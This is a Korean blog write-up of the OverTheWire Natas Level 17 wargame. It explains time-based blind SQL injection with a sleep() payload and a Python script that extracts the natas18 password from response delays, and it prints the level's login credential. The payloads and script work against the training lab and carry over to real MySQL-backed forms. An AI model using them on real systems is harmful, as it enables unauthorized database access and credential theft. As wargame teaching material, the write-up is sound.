Natas Level 17 입니다.
15레벨과 비슷한 Blind SQL Injection 문제입니다.
메인 페이지 입니다. Level 15와 같이, 입력값과 일치하는 계정이 존재하는지 확인하는 기능입니다.
소스코드 입니다. Level 15와 전체적으로 완전히 같으나, 딱 하나 다릅니다.
바로 최종적으로 유저가 존재하는지 아닌지 알려주는 출력구문이 주석처리 되어 있습니다. 쿼리 오류도 마찬가지입니다.
즉, 우리의 입력값에 대한 서버의 반응을 전혀 알 수 없다는 것입니다.
무엇을 입력하든, 이렇게 아무것도 알려주질 않습니다.
아무것도 알 수가 없는데, 어떻게 해야 할까요?
소스코드를 보시면, 출력문이 주석처리 되어있을 뿐이지 기능 자체는 완전히 같습니다.
그렇다는 것은, 우리가 입력한 쿼리는 여전히 정상작동 한다는 뜻입니다.
따라서 쿼리에 대한 참/거짓 반응을 알 수 있다면, 이전 문제와 동일한 방법으로 해결이 가능할 수 있습니다.
우리의 입력에 대한 서버의 참/거짓 반응을 판단할 수 있는 또다른 방법은,
바로 sleep() 함수를 이용하는 것입니다.
Time Based Blind SQL Injection 이라고도 합니다.
" or 1=1 and substr(database(),1,7)="natas17" and sleep(2)#
sleep()함수 사용법은, 쿼리문 끝에 and sleep(지연시간) 을 입력하면 됩니다.
sleep(2) 이라고 입력하면 2초의 지연시간을 갖게 됩니다.
제가 입력한 쿼리가 참(TRUE)일 때, 2초의 시간이 지연된 후 빈 페이지가 출력됩니다.
거짓(FALSE) 이라면 지연시간 없이 즉시 빈 페이지가 출력됩니다.
저번 문제와 같을 거라고 예상했기에, DB명을 sleep함수로 추측해 봤습니다.
역시나 2초가 지연되었고, DB명은 "natas17" 이었습니다.
추가적으로 username 컬럼에 natas18 계정이 존재하는지 확인해 봤는데,
역시나 4번째 레코드에 위치하는 걸 보니 완벽하게 같은 문제입니다.
이제 우리가 해야 할 일은, sleep() 함수를 추가하여 자동화 코드를 만들어 natas18의 password를 추출하는 것입니다.
import requests
import string
username = 'natas17'
password = 'XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd'
url = f"http://{username}.natas.labs.overthewire.org/?debug=true"
letters = string.ascii_letters + string.digits
nataspass = ''
while len(nataspass) < 32:
for char in letters:
print(f"Attemping password: {nataspass}{char}")
response = requests.post(url, auth = (username, password), data = {"username": 'natas18" and binary password like "'+ nataspass + char + '%" and sleep(10) #'}, )
result_time = response.elapsed.total_seconds()
print(result_time)
if result_time > 10:
nataspass += char
print(nataspass)
break
Time Based Blind SQL Injection 자동화를 위한 소스코드입니다.
Level 15에서 사용했던 코드를 약간 수정했습니다.
"username": 'natas18" and binary password like "'+ nataspass + char + '%" and sleep(10) #'
이 부분이 전송할 payload 입니다. 저 부분을 풀어보면
natas18" and binary password like "문자열%" and sleep(10) #
username(입력 폼) 부분에 해당 명령어가 그대로 들어가게 됩니다.
"문자열" 자리에는 임의의 문자열이 계속 바뀌어 가며 들어갑니다.
binary : password의 대소문자를 구분하기 위해 입력함
like : 문자열%와 일치하는 패턴을 매칭함
% : 어떤 문자열이 얼마나 길게 들어오든 상관없음.
즉, password가 임의의 문자열로 시작하는지 판단하는 쿼리입니다.
result_time = response.elapsed.total_seconds()
print(result_time)
if result_time > 10:
nataspass += char
print(nataspass)
break
그리고 페이로드 아래쪽을 보시면,
[변수명].elapsed.total_seconds() 라는 함수가 있습니다.
이것은 쿼리에 대한 응답시간을 체크하는 함수입니다.
그리고 맨 아래 조건문에서, 걸린 시간이 10초를 초과한다면 password로 추가하게 만들고 있습니다.
코드 실행 결과입니다. 추출한 password와 각 요청에 걸린 지연시간을 출력하고 있으며
마지막엔 추출완료된 password를 한번 더 출력하고 프로그램을 종료합니다.
10초가 넘는 지연시간이 발생하니, password로 추가하는 모습이 보이고 있습니다.
이번 문제는 Level 15와 거의 완벽하게 동일한 문제였으나, 참/거짓값을 직접 출력해주지 않았기에
sleep() 함수를 이용해야 하는 문제였습니다.
중간과정에 대한 설명이 부족했다면, Level 15 글을 보시면 상세하게 설명되어 있으니 참고해주시기 바랍니다.
'Hacking > [Web]Natas' 카테고리의 다른 글
OverTheWire [Natas Level 19] (1) | 2023.04.04 |
---|---|
OverTheWire [Natas Level 18] (0) | 2023.03.29 |
OverTheWire [Natas Level 16] (0) | 2023.03.28 |
OverTheWire [Natas Level 15] (0) | 2023.03.27 |
OverTheWire [Natas Level 14] (0) | 2023.03.25 |